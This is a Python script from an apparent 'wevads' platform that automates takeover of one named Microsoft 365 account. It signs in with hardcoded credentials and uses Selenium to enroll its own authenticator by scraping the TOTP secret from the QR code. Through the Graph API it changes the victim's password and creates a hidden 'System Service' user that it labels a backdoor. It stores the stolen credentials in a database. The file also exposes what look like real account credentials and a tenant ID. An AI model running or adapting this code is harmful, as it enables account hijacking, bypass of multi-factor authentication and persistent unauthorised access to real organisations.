Files
wevads-platform/scripts/o365_v6.py

110 lines
7.4 KiB
Python

import time,json,random,string,os,re,traceback
from datetime import datetime
import pyotp,requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from PIL import Image
from pyzbar.pyzbar import decode as qr_decode
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
PASSWORD="Sma21KA@SgHCa"
TID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
SDIR="/opt/wevads/logs/selenium/screenshots"
os.makedirs(SDIR,exist_ok=True)
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
def ss(d,n): p=f"{SDIR}/v6_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
def gen_pwd():
while True:
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
opts=Options()
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080","--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
opts.add_argument(a)
d=webdriver.Chrome(options=opts)
d.implicitly_wait(3)
results={"email":EMAIL}
try:
log("Login")
d.get("https://login.microsoftonline.com"); time.sleep(4)
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(4)
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
time.sleep(1); d.find_element(By.ID,"idSIButton9").click(); time.sleep(6); log("Login done")
# Action Required -> Next
d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()"); time.sleep(6); ss(d,"01")
# Debug all links
links=d.execute_script("return Array.from(document.querySelectorAll('a')).map(a=>a.textContent.trim()).filter(t=>t.length>0)")
log(f"Links on page: {links}")
# Click "Set up a different authentication app"
clicked=d.execute_script("var ls=document.querySelectorAll('a');for(var i=0;i<ls.length;i++){if(ls[i].textContent.indexOf('different')>=0){ls[i].click();return ls[i].textContent.trim()}}return null")
log(f"Clicked: {clicked}"); time.sleep(5); ss(d,"02")
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
log(f"Heading: {h}")
# Next -> QR
d.execute_script("var e=document.querySelectorAll('input[type=submit],button');for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();if(v==='Next'){e[i].click();break}}")
time.sleep(6); p=ss(d,"03_qr")
h=d.execute_script("var h=document.querySelector('h1');return h?h.textContent.trim():'?'")
log(f"Heading: {h}")
# Decode QR
totp_secret=None
img=Image.open(p)
for q in qr_decode(img):
data=q.data.decode(); log(f"QR: {data}")
m=re.search(r"secret=([A-Z2-7]+)",data)
if m: totp_secret=m.group(1); log(f"TOTP: {totp_secret}")
if not totp_secret:
# click Cant scan the QR code?
log("Clicking Cant scan")
d.execute_script("var ls=document.querySelectorAll('a');for(var i=0;i<ls.length;i++){if(ls[i].textContent.indexOf('scan')>=0){ls[i].click();break}}")
time.sleep(4); ss(d,"04_cant_scan")
page=d.page_source
for s in re.findall(r'[A-Z2-7]{16,64}',page):
if s.startswith("AAAA"): continue
try: pyotp.TOTP(s).now(); totp_secret=s; log(f"TOTP: {s}"); break
except: continue
if not totp_secret:
for el in d.find_elements(By.CSS_SELECTOR,"span,div,code,pre,input,td,label"):
txt=(el.get_attribute("value") or el.text or "").strip()
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt) and not txt.startswith("AAAA"):
try: pyotp.TOTP(txt).now(); totp_secret=txt; log(f"TOTP: {txt}"); break
except: continue
if not totp_secret:
body=d.find_element(By.TAG_NAME,"body").text
log(f"BODY:\n{body[:800]}")
if totp_secret:
results["totp_secret"]=totp_secret; code=pyotp.TOTP(totp_secret).now(); log(f"Code: {code}")
for inp in d.find_elements(By.TAG_NAME,"input"):
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
inp.clear(); inp.send_keys(code); break
time.sleep(1)
d.execute_script("var e=document.querySelectorAll('input[type=submit],button');for(var i=0;i<e.length;i++){var v=(e[i].value||e[i].textContent||'').trim();if(v==='Next'||v==='Verify'){e[i].click();break}}")
time.sleep(6); ss(d,"05_done"); results["status"]="mfa_enrolled"; log("MFA ENROLLED!")
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
except: pass
else: results["status"]="totp_not_found"
# Graph API
log("Graph API")
r=requests.post(f"https://login.microsoftonline.com/{TID}/oauth2/v2.0/token",data={"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894","scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
if r.status_code==200:
token=r.json()["access_token"]; log("TOKEN OK"); npwd=gen_pwd()
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",json={"currentPassword":PASSWORD,"newPassword":npwd},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cp.status_code in[200,204]: log(f"PWD: {npwd}"); results["new_password"]=npwd
else: log(f"PWD fail {cp.status_code}"); results["new_password"]=PASSWORD
bu=f"svc_wv{random.randint(1000,9999)}"; be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={"accountEnabled":True,"displayName":"System Service","mailNickname":bu,"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cr.status_code==201: uid=cr.json()["id"]; log(f"BACKDOOR: {be}/{bp}"); results["backdoor_email"]=be; results["backdoor_password"]=bp
else: log(f"Backdoor fail {cr.status_code}")
else: log(f"ROPC: {r.status_code}")
import psycopg2; db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123"); db.autocommit=True; cur=db.cursor()
cur.execute("UPDATE admin.office_accounts SET admin_password=%s,notes=%s WHERE id=1367",[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
if results.get("backdoor_email"):
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
db.close()
with open("/opt/wevads/logs/selenium/olivierh_v6.json","w") as f: json.dump(results,f,indent=2,default=str)
log(f"FINAL: {json.dumps({k:str(v)[:40] for k,v in results.items()})}")
except Exception as e: log(f"ERR: {e}"); traceback.print_exc(); ss(d,"99")
finally: d.quit()